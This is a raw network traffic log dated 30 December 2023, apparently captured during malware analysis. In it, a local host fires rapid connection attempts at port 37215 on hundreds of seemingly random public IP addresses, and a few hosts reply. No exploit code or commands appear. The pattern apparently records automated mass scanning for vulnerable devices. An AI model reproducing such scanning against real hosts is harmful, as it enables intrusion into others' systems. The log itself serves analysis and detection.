Dec 30, 2023 07:13:55.376656055 CET	3641	37215	192.168.2.23	122.34.55.158
Dec 30, 2023 07:13:55.376656055 CET	3641	37215	192.168.2.23	41.104.199.28
Dec 30, 2023 07:13:55.376657963 CET	3641	37215	192.168.2.23	197.19.122.116
Dec 30, 2023 07:13:55.376663923 CET	3641	37215	192.168.2.23	197.120.45.202
Dec 30, 2023 07:13:55.376663923 CET	3641	37215	192.168.2.23	107.187.93.150
Dec 30, 2023 07:13:55.376677990 CET	3641	37215	192.168.2.23	92.213.4.154
Dec 30, 2023 07:13:55.376677990 CET	3641	37215	192.168.2.23	156.252.152.17
Dec 30, 2023 07:13:55.376688004 CET	3641	37215	192.168.2.23	197.10.7.21
Dec 30, 2023 07:13:55.376699924 CET	3641	37215	192.168.2.23	154.238.141.5
Dec 30, 2023 07:13:55.376703978 CET	3641	37215	192.168.2.23	156.104.94.100
Dec 30, 2023 07:13:55.376708031 CET	3641	37215	192.168.2.23	197.3.10.221
Dec 30, 2023 07:13:55.376710892 CET	3641	37215	192.168.2.23	122.70.107.79
Dec 30, 2023 07:13:55.376712084 CET	3641	37215	192.168.2.23	197.76.246.89
Dec 30, 2023 07:13:55.376715899 CET	3641	37215	192.168.2.23	156.132.158.75
Dec 30, 2023 07:13:55.376727104 CET	3641	37215	192.168.2.23	197.147.231.236
Dec 30, 2023 07:13:55.376727104 CET	3641	37215	192.168.2.23	156.2.240.126
Dec 30, 2023 07:13:55.376730919 CET	3641	37215	192.168.2.23	197.61.91.179
Dec 30, 2023 07:13:55.376739025 CET	3641	37215	192.168.2.23	160.62.28.201
Dec 30, 2023 07:13:55.376739025 CET	3641	37215	192.168.2.23	156.121.24.70
Dec 30, 2023 07:13:55.376740932 CET	3641	37215	192.168.2.23	222.185.101.250
Dec 30, 2023 07:13:55.376743078 CET	3641	37215	192.168.2.23	138.6.0.197
Dec 30, 2023 07:13:55.376756907 CET	3641	37215	192.168.2.23	197.95.247.37
Dec 30, 2023 07:13:55.376765966 CET	3641	37215	192.168.2.23	197.22.251.75
Dec 30, 2023 07:13:55.376770973 CET	3641	37215	192.168.2.23	92.172.174.8
Dec 30, 2023 07:13:55.376773119 CET	3641	37215	192.168.2.23	41.171.249.127
Dec 30, 2023 07:13:55.376775980 CET	3641	37215	192.168.2.23	197.211.80.41
Dec 30, 2023 07:13:55.376781940 CET	3641	37215	192.168.2.23	190.174.217.239
Dec 30, 2023 07:13:55.376782894 CET	3641	37215	192.168.2.23	122.61.115.117
Dec 30, 2023 07:13:55.376791000 CET	3641	37215	192.168.2.23	107.194.31.174
Dec 30, 2023 07:13:55.376791954 CET	3641	37215	192.168.2.23	156.230.173.39
Dec 30, 2023 07:13:55.376796961 CET	3641	37215	192.168.2.23	107.218.194.85
Dec 30, 2023 07:13:55.376802921 CET	3641	37215	192.168.2.23	41.173.134.197
Dec 30, 2023 07:13:55.376802921 CET	3641	37215	192.168.2.23	156.211.147.165
Dec 30, 2023 07:13:55.376802921 CET	3641	37215	192.168.2.23	156.216.47.14
Dec 30, 2023 07:13:55.376816988 CET	3641	37215	192.168.2.23	197.227.196.89
Dec 30, 2023 07:13:55.376816988 CET	3641	37215	192.168.2.23	41.235.18.126
Dec 30, 2023 07:13:55.376816988 CET	3641	37215	192.168.2.23	95.70.72.142
Dec 30, 2023 07:13:55.376816988 CET	3641	37215	192.168.2.23	94.244.71.84
Dec 30, 2023 07:13:55.376816988 CET	3641	37215	192.168.2.23	156.171.15.57
Dec 30, 2023 07:13:55.376820087 CET	3641	37215	192.168.2.23	41.185.230.254
Dec 30, 2023 07:13:55.376820087 CET	3641	37215	192.168.2.23	41.190.40.42
Dec 30, 2023 07:13:55.376822948 CET	3641	37215	192.168.2.23	196.157.216.70
Dec 30, 2023 07:13:55.376822948 CET	3641	37215	192.168.2.23	92.252.90.15
Dec 30, 2023 07:13:55.376822948 CET	3641	37215	192.168.2.23	107.178.161.151
Dec 30, 2023 07:13:55.376828909 CET	3641	37215	192.168.2.23	41.236.148.228
Dec 30, 2023 07:13:55.376828909 CET	3641	37215	192.168.2.23	41.169.5.107
Dec 30, 2023 07:13:55.376841068 CET	3641	37215	192.168.2.23	156.250.163.155
Dec 30, 2023 07:13:55.376844883 CET	3641	37215	192.168.2.23	37.115.136.177
Dec 30, 2023 07:13:55.376844883 CET	3641	37215	192.168.2.23	197.136.149.150
Dec 30, 2023 07:13:55.376854897 CET	3641	37215	192.168.2.23	41.55.65.154
Dec 30, 2023 07:13:55.376864910 CET	3641	37215	192.168.2.23	157.216.144.80
Dec 30, 2023 07:13:55.376868963 CET	3641	37215	192.168.2.23	196.207.99.103
Dec 30, 2023 07:13:55.376873970 CET	3641	37215	192.168.2.23	186.49.208.203
Dec 30, 2023 07:13:55.376879930 CET	3641	37215	192.168.2.23	197.162.100.227
Dec 30, 2023 07:13:55.376880884 CET	3641	37215	192.168.2.23	41.115.196.161
Dec 30, 2023 07:13:55.376888037 CET	3641	37215	192.168.2.23	122.117.203.99
Dec 30, 2023 07:13:55.376890898 CET	3641	37215	192.168.2.23	95.100.42.129
Dec 30, 2023 07:13:55.376893044 CET	3641	37215	192.168.2.23	197.102.244.205
Dec 30, 2023 07:13:55.376895905 CET	3641	37215	192.168.2.23	156.244.156.101
Dec 30, 2023 07:13:55.376899004 CET	3641	37215	192.168.2.23	41.0.126.56
Dec 30, 2023 07:13:55.376912117 CET	3641	37215	192.168.2.23	197.9.59.48
Dec 30, 2023 07:13:55.376919031 CET	3641	37215	192.168.2.23	156.5.249.145
Dec 30, 2023 07:13:55.376924038 CET	3641	37215	192.168.2.23	41.81.129.70
Dec 30, 2023 07:13:55.376928091 CET	3641	37215	192.168.2.23	41.241.171.57
Dec 30, 2023 07:13:55.376928091 CET	3641	37215	192.168.2.23	41.110.152.5
Dec 30, 2023 07:13:55.376938105 CET	3641	37215	192.168.2.23	138.140.79.104
Dec 30, 2023 07:13:55.376941919 CET	3641	37215	192.168.2.23	156.219.242.79
Dec 30, 2023 07:13:55.376949072 CET	3641	37215	192.168.2.23	197.15.145.116
Dec 30, 2023 07:13:55.376952887 CET	3641	37215	192.168.2.23	197.241.116.159
Dec 30, 2023 07:13:55.376965046 CET	3641	37215	192.168.2.23	37.185.55.185
Dec 30, 2023 07:13:55.376972914 CET	3641	37215	192.168.2.23	122.4.26.196
Dec 30, 2023 07:13:55.376976013 CET	3641	37215	192.168.2.23	156.84.66.173
Dec 30, 2023 07:13:55.376983881 CET	3641	37215	192.168.2.23	156.118.158.37
Dec 30, 2023 07:13:55.376988888 CET	3641	37215	192.168.2.23	196.15.210.209
Dec 30, 2023 07:13:55.376997948 CET	3641	37215	192.168.2.23	197.19.181.151
Dec 30, 2023 07:13:55.377021074 CET	3641	37215	192.168.2.23	41.68.21.101
Dec 30, 2023 07:13:55.377021074 CET	3641	37215	192.168.2.23	156.186.70.202
Dec 30, 2023 07:13:55.377022028 CET	3641	37215	192.168.2.23	156.202.57.242
Dec 30, 2023 07:13:55.377022028 CET	3641	37215	192.168.2.23	41.250.168.249
Dec 30, 2023 07:13:55.377031088 CET	3641	37215	192.168.2.23	197.21.125.194
Dec 30, 2023 07:13:55.377036095 CET	3641	37215	192.168.2.23	102.38.243.174
Dec 30, 2023 07:13:55.377038002 CET	3641	37215	192.168.2.23	160.228.59.208
Dec 30, 2023 07:13:55.377038956 CET	3641	37215	192.168.2.23	156.185.92.116
Dec 30, 2023 07:13:55.377046108 CET	3641	37215	192.168.2.23	156.141.156.187
Dec 30, 2023 07:13:55.377055883 CET	3641	37215	192.168.2.23	41.186.192.219
Dec 30, 2023 07:13:55.377058983 CET	3641	37215	192.168.2.23	92.232.140.72
Dec 30, 2023 07:13:55.377063036 CET	3641	37215	192.168.2.23	41.66.81.166
Dec 30, 2023 07:13:55.377065897 CET	3641	37215	192.168.2.23	41.7.186.199
Dec 30, 2023 07:13:55.377078056 CET	3641	37215	192.168.2.23	197.70.215.177
Dec 30, 2023 07:13:55.377080917 CET	3641	37215	192.168.2.23	156.166.193.178
Dec 30, 2023 07:13:55.377085924 CET	3641	37215	192.168.2.23	122.125.9.49
Dec 30, 2023 07:13:55.377089024 CET	3641	37215	192.168.2.23	41.113.129.55
Dec 30, 2023 07:13:55.377094030 CET	3641	37215	192.168.2.23	197.5.112.11
Dec 30, 2023 07:13:55.377100945 CET	3641	37215	192.168.2.23	197.193.146.167
Dec 30, 2023 07:13:55.377103090 CET	3641	37215	192.168.2.23	197.232.254.110
Dec 30, 2023 07:13:55.377109051 CET	3641	37215	192.168.2.23	45.243.173.80
Dec 30, 2023 07:13:55.377114058 CET	3641	37215	192.168.2.23	41.130.203.34
Dec 30, 2023 07:13:55.377114058 CET	3641	37215	192.168.2.23	156.173.101.184
Dec 30, 2023 07:13:55.377120972 CET	3641	37215	192.168.2.23	41.226.64.198
Dec 30, 2023 07:13:55.377129078 CET	3641	37215	192.168.2.23	41.50.139.225
Dec 30, 2023 07:13:55.377131939 CET	3641	37215	192.168.2.23	160.74.146.198
Dec 30, 2023 07:13:55.377141953 CET	3641	37215	192.168.2.23	156.133.144.164
Dec 30, 2023 07:13:55.377145052 CET	3641	37215	192.168.2.23	197.248.123.176
Dec 30, 2023 07:13:55.377145052 CET	3641	37215	192.168.2.23	197.25.207.244
Dec 30, 2023 07:13:55.377151966 CET	3641	37215	192.168.2.23	156.37.84.109
Dec 30, 2023 07:13:55.377151966 CET	3641	37215	192.168.2.23	41.209.149.209
Dec 30, 2023 07:13:55.377152920 CET	3641	37215	192.168.2.23	197.178.163.66
Dec 30, 2023 07:13:55.377166033 CET	3641	37215	192.168.2.23	156.196.138.61
Dec 30, 2023 07:13:55.377167940 CET	3641	37215	192.168.2.23	41.90.56.14
Dec 30, 2023 07:13:55.377172947 CET	3641	37215	192.168.2.23	107.255.167.172
Dec 30, 2023 07:13:55.377175093 CET	3641	37215	192.168.2.23	107.232.7.46
Dec 30, 2023 07:13:55.377178907 CET	3641	37215	192.168.2.23	120.173.135.124
Dec 30, 2023 07:13:55.377197027 CET	3641	37215	192.168.2.23	197.164.58.195
Dec 30, 2023 07:13:55.377197981 CET	3641	37215	192.168.2.23	181.189.50.161
Dec 30, 2023 07:13:55.377197981 CET	3641	37215	192.168.2.23	197.247.145.44
Dec 30, 2023 07:13:55.377198935 CET	3641	37215	192.168.2.23	156.47.119.132
Dec 30, 2023 07:13:55.377198935 CET	3641	37215	192.168.2.23	41.100.186.254
Dec 30, 2023 07:13:55.377207041 CET	3641	37215	192.168.2.23	156.61.18.216
Dec 30, 2023 07:13:55.377207994 CET	3641	37215	192.168.2.23	190.103.115.227
Dec 30, 2023 07:13:55.377212048 CET	3641	37215	192.168.2.23	121.52.74.246
Dec 30, 2023 07:13:55.377218962 CET	3641	37215	192.168.2.23	37.145.128.159
Dec 30, 2023 07:13:55.377237082 CET	3641	37215	192.168.2.23	197.147.31.172
Dec 30, 2023 07:13:55.377237082 CET	3641	37215	192.168.2.23	41.195.86.45
Dec 30, 2023 07:13:55.377238989 CET	3641	37215	192.168.2.23	156.229.3.187
Dec 30, 2023 07:13:55.377254009 CET	3641	37215	192.168.2.23	197.28.196.35
Dec 30, 2023 07:13:55.377254009 CET	3641	37215	192.168.2.23	102.99.110.240
Dec 30, 2023 07:13:55.377255917 CET	3641	37215	192.168.2.23	156.78.47.171
Dec 30, 2023 07:13:55.377265930 CET	3641	37215	192.168.2.23	92.89.163.26
Dec 30, 2023 07:13:55.377269030 CET	3641	37215	192.168.2.23	186.30.150.191
Dec 30, 2023 07:13:55.377270937 CET	3641	37215	192.168.2.23	102.35.100.33
Dec 30, 2023 07:13:55.377275944 CET	3641	37215	192.168.2.23	190.129.106.255
Dec 30, 2023 07:13:55.377281904 CET	3641	37215	192.168.2.23	45.197.66.147
Dec 30, 2023 07:13:55.377283096 CET	3641	37215	192.168.2.23	186.176.151.250
Dec 30, 2023 07:13:55.377286911 CET	3641	37215	192.168.2.23	156.162.19.224
Dec 30, 2023 07:13:55.377289057 CET	3641	37215	192.168.2.23	156.252.15.21
Dec 30, 2023 07:13:55.377298117 CET	3641	37215	192.168.2.23	121.81.223.30
Dec 30, 2023 07:13:55.377305984 CET	3641	37215	192.168.2.23	186.136.175.173
Dec 30, 2023 07:13:55.377311945 CET	3641	37215	192.168.2.23	156.154.181.85
Dec 30, 2023 07:13:55.377314091 CET	3641	37215	192.168.2.23	156.183.150.11
Dec 30, 2023 07:13:55.377316952 CET	3641	37215	192.168.2.23	222.180.116.68
Dec 30, 2023 07:13:55.377322912 CET	3641	37215	192.168.2.23	156.96.117.138
Dec 30, 2023 07:13:55.377327919 CET	3641	37215	192.168.2.23	120.49.103.91
Dec 30, 2023 07:13:55.377332926 CET	3641	37215	192.168.2.23	196.212.237.244
Dec 30, 2023 07:13:55.377334118 CET	3641	37215	192.168.2.23	197.84.10.43
Dec 30, 2023 07:13:55.377334118 CET	3641	37215	192.168.2.23	156.217.250.228
Dec 30, 2023 07:13:55.377348900 CET	3641	37215	192.168.2.23	94.125.74.232
Dec 30, 2023 07:13:55.377356052 CET	3641	37215	192.168.2.23	41.84.185.102
Dec 30, 2023 07:13:55.377356052 CET	3641	37215	192.168.2.23	41.242.145.173
Dec 30, 2023 07:13:55.377366066 CET	3641	37215	192.168.2.23	41.83.231.161
Dec 30, 2023 07:13:55.377367973 CET	3641	37215	192.168.2.23	186.72.134.206
Dec 30, 2023 07:13:55.377371073 CET	3641	37215	192.168.2.23	154.4.38.52
Dec 30, 2023 07:13:55.377374887 CET	3641	37215	192.168.2.23	197.190.55.186
Dec 30, 2023 07:13:55.377374887 CET	3641	37215	192.168.2.23	102.234.124.36
Dec 30, 2023 07:13:55.377381086 CET	3641	37215	192.168.2.23	160.186.194.108
Dec 30, 2023 07:13:55.377382040 CET	3641	37215	192.168.2.23	41.130.172.42
Dec 30, 2023 07:13:55.377382040 CET	3641	37215	192.168.2.23	156.95.100.81
Dec 30, 2023 07:13:55.377388000 CET	3641	37215	192.168.2.23	41.37.175.50
Dec 30, 2023 07:13:55.377388000 CET	3641	37215	192.168.2.23	156.73.3.241
Dec 30, 2023 07:13:55.377401114 CET	3641	37215	192.168.2.23	156.151.86.121
Dec 30, 2023 07:13:55.377409935 CET	3641	37215	192.168.2.23	197.4.148.166
Dec 30, 2023 07:13:55.377409935 CET	3641	37215	192.168.2.23	197.102.2.48
Dec 30, 2023 07:13:55.377410889 CET	3641	37215	192.168.2.23	41.21.147.127
Dec 30, 2023 07:13:55.377410889 CET	3641	37215	192.168.2.23	102.153.26.241
Dec 30, 2023 07:13:55.377424002 CET	3641	37215	192.168.2.23	197.18.123.171
Dec 30, 2023 07:13:55.377425909 CET	3641	37215	192.168.2.23	41.211.153.185
Dec 30, 2023 07:13:55.377425909 CET	3641	37215	192.168.2.23	94.189.165.193
Dec 30, 2023 07:13:55.377425909 CET	3641	37215	192.168.2.23	41.218.234.190
Dec 30, 2023 07:13:55.377425909 CET	3641	37215	192.168.2.23	41.78.5.0
Dec 30, 2023 07:13:55.377444029 CET	3641	37215	192.168.2.23	156.30.47.55
Dec 30, 2023 07:13:55.377444029 CET	3641	37215	192.168.2.23	120.147.232.8
Dec 30, 2023 07:13:55.377446890 CET	3641	37215	192.168.2.23	160.134.63.21
Dec 30, 2023 07:13:55.401237011 CET	40210	37215	192.168.2.23	156.73.108.236
Dec 30, 2023 07:13:55.530745983 CET	37215	3641	45.138.70.146	192.168.2.23
Dec 30, 2023 07:13:55.530883074 CET	3641	37215	192.168.2.23	45.138.70.146
Dec 30, 2023 07:13:55.533685923 CET	37215	3641	156.96.117.138	192.168.2.23
Dec 30, 2023 07:13:55.547276020 CET	37215	3641	156.73.3.241	192.168.2.23
Dec 30, 2023 07:13:55.547324896 CET	3641	37215	192.168.2.23	156.73.3.241
Dec 30, 2023 07:13:55.661694050 CET	37215	3641	122.118.4.89	192.168.2.23
Dec 30, 2023 07:13:55.663645983 CET	37215	3641	37.130.221.160	192.168.2.23
Dec 30, 2023 07:13:55.769824982 CET	37215	3641	197.220.12.6	192.168.2.23
Dec 30, 2023 07:13:56.275691032 CET	37215	3641	197.4.148.166	192.168.2.23
Dec 30, 2023 07:13:56.378452063 CET	3641	37215	192.168.2.23	186.52.243.244
Dec 30, 2023 07:13:56.378453016 CET	3641	37215	192.168.2.23	107.74.218.173
Dec 30, 2023 07:13:56.378453016 CET	3641	37215	192.168.2.23	45.128.227.249
Dec 30, 2023 07:13:56.378469944 CET	3641	37215	192.168.2.23	156.243.101.218
Dec 30, 2023 07:13:56.378469944 CET	3641	37215	192.168.2.23	156.56.222.100
Dec 30, 2023 07:13:56.378480911 CET	3641	37215	192.168.2.23	196.131.82.246
Dec 30, 2023 07:13:56.378483057 CET	3641	37215	192.168.2.23	122.157.10.14
Dec 30, 2023 07:13:56.378483057 CET	3641	37215	192.168.2.23	197.217.73.187
Dec 30, 2023 07:13:56.378482103 CET	3641	37215	192.168.2.23	181.94.21.142
Dec 30, 2023 07:13:56.378495932 CET	3641	37215	192.168.2.23	92.122.226.184
Dec 30, 2023 07:13:56.378500938 CET	3641	37215	192.168.2.23	41.206.61.70
Dec 30, 2023 07:13:56.378504992 CET	3641	37215	192.168.2.23	156.73.12.73
Dec 30, 2023 07:13:56.378508091 CET	3641	37215	192.168.2.23	157.122.182.187
Dec 30, 2023 07:13:56.378508091 CET	3641	37215	192.168.2.23	41.240.218.13
Dec 30, 2023 07:13:56.378508091 CET	3641	37215	192.168.2.23	154.56.35.15
Dec 30, 2023 07:13:56.378511906 CET	3641	37215	192.168.2.23	197.128.119.234
Dec 30, 2023 07:13:56.378515959 CET	3641	37215	192.168.2.23	160.42.45.233
Dec 30, 2023 07:13:56.378519058 CET	3641	37215	192.168.2.23	41.221.159.44
Dec 30, 2023 07:13:56.378521919 CET	3641	37215	192.168.2.23	197.116.100.123
Dec 30, 2023 07:13:56.378525019 CET	3641	37215	192.168.2.23	41.253.21.8
Dec 30, 2023 07:13:56.378526926 CET	3641	37215	192.168.2.23	156.225.93.153
Dec 30, 2023 07:13:56.378536940 CET	3641	37215	192.168.2.23	122.126.175.110
Dec 30, 2023 07:13:56.378537893 CET	3641	37215	192.168.2.23	197.254.188.98
Dec 30, 2023 07:13:56.378540039 CET	3641	37215	192.168.2.23	197.122.87.24
Dec 30, 2023 07:13:56.378540039 CET	3641	37215	192.168.2.23	197.248.97.10
Dec 30, 2023 07:13:56.378540039 CET	3641	37215	192.168.2.23	94.61.53.133
Dec 30, 2023 07:13:56.378562927 CET	3641	37215	192.168.2.23	121.122.122.227
Dec 30, 2023 07:13:56.378562927 CET	3641	37215	192.168.2.23	197.181.123.173
Dec 30, 2023 07:13:56.378565073 CET	3641	37215	192.168.2.23	156.118.45.182
Dec 30, 2023 07:13:56.378575087 CET	3641	37215	192.168.2.23	196.252.249.175
Dec 30, 2023 07:13:56.378576040 CET	3641	37215	192.168.2.23	95.252.184.224
Dec 30, 2023 07:13:56.378576040 CET	3641	37215	192.168.2.23	186.195.104.94
Dec 30, 2023 07:13:56.378576040 CET	3641	37215	192.168.2.23	156.217.230.25
Dec 30, 2023 07:13:56.378580093 CET	3641	37215	192.168.2.23	154.85.141.65
Dec 30, 2023 07:13:56.378581047 CET	3641	37215	192.168.2.23	196.17.81.202
Dec 30, 2023 07:13:56.378581047 CET	3641	37215	192.168.2.23	107.32.31.192
Dec 30, 2023 07:13:56.378587961 CET	3641	37215	192.168.2.23	156.11.166.152
Dec 30, 2023 07:13:56.378587961 CET	3641	37215	192.168.2.23	197.56.247.164
Dec 30, 2023 07:13:56.378591061 CET	3641	37215	192.168.2.23	186.72.95.223
Dec 30, 2023 07:13:56.378597021 CET	3641	37215	192.168.2.23	181.63.221.144
Dec 30, 2023 07:13:56.378597021 CET	3641	37215	192.168.2.23	186.12.43.105
Dec 30, 2023 07:13:56.378597021 CET	3641	37215	192.168.2.23	45.192.206.68
Dec 30, 2023 07:13:56.378601074 CET	3641	37215	192.168.2.23	186.244.230.65
Dec 30, 2023 07:13:56.378603935 CET	3641	37215	192.168.2.23	41.153.68.120
Dec 30, 2023 07:13:56.378603935 CET	3641	37215	192.168.2.23	156.19.222.96
Dec 30, 2023 07:13:56.378607035 CET	3641	37215	192.168.2.23	138.247.132.120
Dec 30, 2023 07:13:56.378607035 CET	3641	37215	192.168.2.23	120.219.183.69
Dec 30, 2023 07:13:56.378617048 CET	3641	37215	192.168.2.23	37.209.246.215
Dec 30, 2023 07:13:56.378618956 CET	3641	37215	192.168.2.23	160.89.215.227
Dec 30, 2023 07:13:56.378618956 CET	3641	37215	192.168.2.23	160.142.227.178
Dec 30, 2023 07:13:56.378619909 CET	3641	37215	192.168.2.23	41.225.229.115
Dec 30, 2023 07:13:56.378624916 CET	3641	37215	192.168.2.23	197.163.35.14
Dec 30, 2023 07:13:56.378627062 CET	3641	37215	192.168.2.23	197.66.248.134
Dec 30, 2023 07:13:56.378627062 CET	3641	37215	192.168.2.23	95.202.22.95
Dec 30, 2023 07:13:56.378627062 CET	3641	37215	192.168.2.23	197.115.197.181
Dec 30, 2023 07:13:56.378634930 CET	3641	37215	192.168.2.23	41.170.254.94
Dec 30, 2023 07:13:56.378637075 CET	3641	37215	192.168.2.23	138.226.152.193
Dec 30, 2023 07:13:56.378637075 CET	3641	37215	192.168.2.23	156.125.75.211
Dec 30, 2023 07:13:56.378638029 CET	3641	37215	192.168.2.23	41.144.152.181
Dec 30, 2023 07:13:56.378638029 CET	3641	37215	192.168.2.23	37.168.94.139
Dec 30, 2023 07:13:56.378643036 CET	3641	37215	192.168.2.23	197.24.188.64
Dec 30, 2023 07:13:56.378643036 CET	3641	37215	192.168.2.23	156.64.244.95
Dec 30, 2023 07:13:56.378648043 CET	3641	37215	192.168.2.23	121.201.231.231
Dec 30, 2023 07:13:56.378650904 CET	3641	37215	192.168.2.23	197.119.42.240
Dec 30, 2023 07:13:56.378669977 CET	3641	37215	192.168.2.23	41.185.109.242
Dec 30, 2023 07:13:56.378670931 CET	3641	37215	192.168.2.23	41.208.113.74
Dec 30, 2023 07:13:56.378671885 CET	3641	37215	192.168.2.23	156.127.147.191
Dec 30, 2023 07:13:56.378671885 CET	3641	37215	192.168.2.23	156.140.214.140
Dec 30, 2023 07:13:56.378671885 CET	3641	37215	192.168.2.23	37.212.120.155
Dec 30, 2023 07:13:56.378674030 CET	3641	37215	192.168.2.23	154.2.226.203
Dec 30, 2023 07:13:56.378676891 CET	3641	37215	192.168.2.23	92.131.113.133
Dec 30, 2023 07:13:56.378676891 CET	3641	37215	192.168.2.23	222.82.242.145
Dec 30, 2023 07:13:56.378679037 CET	3641	37215	192.168.2.23	156.76.93.57
Dec 30, 2023 07:13:56.378684998 CET	3641	37215	192.168.2.23	156.240.18.13
Dec 30, 2023 07:13:56.378686905 CET	3641	37215	192.168.2.23	197.34.225.4
Dec 30, 2023 07:13:56.378695965 CET	3641	37215	192.168.2.23	156.94.136.43
Dec 30, 2023 07:13:56.378696918 CET	3641	37215	192.168.2.23	186.59.83.94
Dec 30, 2023 07:13:56.378698111 CET	3641	37215	192.168.2.23	41.101.249.93
Dec 30, 2023 07:13:56.378698111 CET	3641	37215	192.168.2.23	95.56.116.92
Dec 30, 2023 07:13:56.378699064 CET	3641	37215	192.168.2.23	160.119.86.46
Dec 30, 2023 07:13:56.378699064 CET	3641	37215	192.168.2.23	156.250.62.254
Dec 30, 2023 07:13:56.378699064 CET	3641	37215	192.168.2.23	197.93.55.189
Dec 30, 2023 07:13:56.378700018 CET	3641	37215	192.168.2.23	196.108.30.106
Dec 30, 2023 07:13:56.378700018 CET	3641	37215	192.168.2.23	41.99.61.208
Dec 30, 2023 07:13:56.378700018 CET	3641	37215	192.168.2.23	41.77.232.96
Dec 30, 2023 07:13:56.378700972 CET	3641	37215	192.168.2.23	102.119.11.135
Dec 30, 2023 07:13:56.378700972 CET	3641	37215	192.168.2.23	157.65.118.26
Dec 30, 2023 07:13:56.378700972 CET	3641	37215	192.168.2.23	41.76.117.72
Dec 30, 2023 07:13:56.378712893 CET	3641	37215	192.168.2.23	222.20.72.80
Dec 30, 2023 07:13:56.378712893 CET	3641	37215	192.168.2.23	197.69.145.252
Dec 30, 2023 07:13:56.378712893 CET	3641	37215	192.168.2.23	197.98.97.38
Dec 30, 2023 07:13:56.378712893 CET	3641	37215	192.168.2.23	95.68.213.139
Dec 30, 2023 07:13:56.378720999 CET	3641	37215	192.168.2.23	181.167.55.85
Dec 30, 2023 07:13:56.378721952 CET	3641	37215	192.168.2.23	197.194.179.85
Dec 30, 2023 07:13:56.378721952 CET	3641	37215	192.168.2.23	156.233.134.145
Dec 30, 2023 07:13:56.378724098 CET	3641	37215	192.168.2.23	197.84.64.222
Dec 30, 2023 07:13:56.378724098 CET	3641	37215	192.168.2.23	197.164.222.252
Dec 30, 2023 07:13:56.378724098 CET	3641	37215	192.168.2.23	94.212.242.138
Dec 30, 2023 07:13:56.378724098 CET	3641	37215	192.168.2.23	181.190.38.17
Dec 30, 2023 07:13:56.378724098 CET	3641	37215	192.168.2.23	156.244.110.20
Dec 30, 2023 07:13:56.378724098 CET	3641	37215	192.168.2.23	107.172.22.191
Dec 30, 2023 07:13:56.378725052 CET	3641	37215	192.168.2.23	156.73.66.69
Dec 30, 2023 07:13:56.378724098 CET	3641	37215	192.168.2.23	157.82.35.209
Dec 30, 2023 07:13:56.378726006 CET	3641	37215	192.168.2.23	41.32.25.24
Dec 30, 2023 07:13:56.378724098 CET	3641	37215	192.168.2.23	37.195.180.248
Dec 30, 2023 07:13:56.378726006 CET	3641	37215	192.168.2.23	156.3.228.252
Dec 30, 2023 07:13:56.378735065 CET	3641	37215	192.168.2.23	41.197.239.176
Dec 30, 2023 07:13:56.378735065 CET	3641	37215	192.168.2.23	196.251.139.134
Dec 30, 2023 07:13:56.378739119 CET	3641	37215	192.168.2.23	197.2.104.19
Dec 30, 2023 07:13:56.378739119 CET	3641	37215	192.168.2.23	190.196.121.155
Dec 30, 2023 07:13:56.378739119 CET	3641	37215	192.168.2.23	181.146.160.72
Dec 30, 2023 07:13:56.378743887 CET	3641	37215	192.168.2.23	122.111.207.67
Dec 30, 2023 07:13:56.378747940 CET	3641	37215	192.168.2.23	41.49.27.139
Dec 30, 2023 07:13:56.378747940 CET	3641	37215	192.168.2.23	190.95.40.176
Dec 30, 2023 07:13:56.378747940 CET	3641	37215	192.168.2.23	156.65.163.60
Dec 30, 2023 07:13:56.378748894 CET	3641	37215	192.168.2.23	41.209.82.26
Dec 30, 2023 07:13:56.378748894 CET	3641	37215	192.168.2.23	156.109.11.137
Dec 30, 2023 07:13:56.378750086 CET	3641	37215	192.168.2.23	190.23.182.243
Dec 30, 2023 07:13:56.378750086 CET	3641	37215	192.168.2.23	94.69.136.221
Dec 30, 2023 07:13:56.378751040 CET	3641	37215	192.168.2.23	197.186.128.98
Dec 30, 2023 07:13:56.378751040 CET	3641	37215	192.168.2.23	122.179.250.10
Dec 30, 2023 07:13:56.378751040 CET	3641	37215	192.168.2.23	156.71.217.43
Dec 30, 2023 07:13:56.378765106 CET	3641	37215	192.168.2.23	41.136.69.209
Dec 30, 2023 07:13:56.378765106 CET	3641	37215	192.168.2.23	122.150.201.126
Dec 30, 2023 07:13:56.378765106 CET	3641	37215	192.168.2.23	160.99.221.157
Dec 30, 2023 07:13:56.378765106 CET	3641	37215	192.168.2.23	41.222.96.44
Dec 30, 2023 07:13:56.378767014 CET	3641	37215	192.168.2.23	186.120.34.133
Dec 30, 2023 07:13:56.378767014 CET	3641	37215	192.168.2.23	156.241.54.58
Dec 30, 2023 07:13:56.378767014 CET	3641	37215	192.168.2.23	156.183.221.116
Dec 30, 2023 07:13:56.378767014 CET	3641	37215	192.168.2.23	41.152.229.11
Dec 30, 2023 07:13:56.378772020 CET	3641	37215	192.168.2.23	41.180.219.147
Dec 30, 2023 07:13:56.378772020 CET	3641	37215	192.168.2.23	45.129.50.18
Dec 30, 2023 07:13:56.378773928 CET	3641	37215	192.168.2.23	41.74.108.141
Dec 30, 2023 07:13:56.378773928 CET	3641	37215	192.168.2.23	120.53.246.32
Dec 30, 2023 07:13:56.378772020 CET	3641	37215	192.168.2.23	156.137.135.227
Dec 30, 2023 07:13:56.378773928 CET	3641	37215	192.168.2.23	154.169.79.1
Dec 30, 2023 07:13:56.378773928 CET	3641	37215	192.168.2.23	190.134.194.179
Dec 30, 2023 07:13:56.378776073 CET	3641	37215	192.168.2.23	41.195.178.37
Dec 30, 2023 07:13:56.378776073 CET	3641	37215	192.168.2.23	197.243.211.246
Dec 30, 2023 07:13:56.378777981 CET	3641	37215	192.168.2.23	197.202.47.143
Dec 30, 2023 07:13:56.378777981 CET	3641	37215	192.168.2.23	181.250.197.38
Dec 30, 2023 07:13:56.378777981 CET	3641	37215	192.168.2.23	92.187.132.228
Dec 30, 2023 07:13:56.378781080 CET	3641	37215	192.168.2.23	41.41.180.239
Dec 30, 2023 07:13:56.378789902 CET	3641	37215	192.168.2.23	41.141.32.86
Dec 30, 2023 07:13:56.378789902 CET	3641	37215	192.168.2.23	45.241.141.142
Dec 30, 2023 07:13:56.378789902 CET	3641	37215	192.168.2.23	156.20.13.205
Dec 30, 2023 07:13:56.378793955 CET	3641	37215	192.168.2.23	94.31.224.35
Dec 30, 2023 07:13:56.378793955 CET	3641	37215	192.168.2.23	41.13.46.60
Dec 30, 2023 07:13:56.378793955 CET	3641	37215	192.168.2.23	160.40.235.60
Dec 30, 2023 07:13:56.378794909 CET	3641	37215	192.168.2.23	154.64.103.195
Dec 30, 2023 07:13:56.378793955 CET	3641	37215	192.168.2.23	197.228.136.25
Dec 30, 2023 07:13:56.378794909 CET	3641	37215	192.168.2.23	41.173.117.126
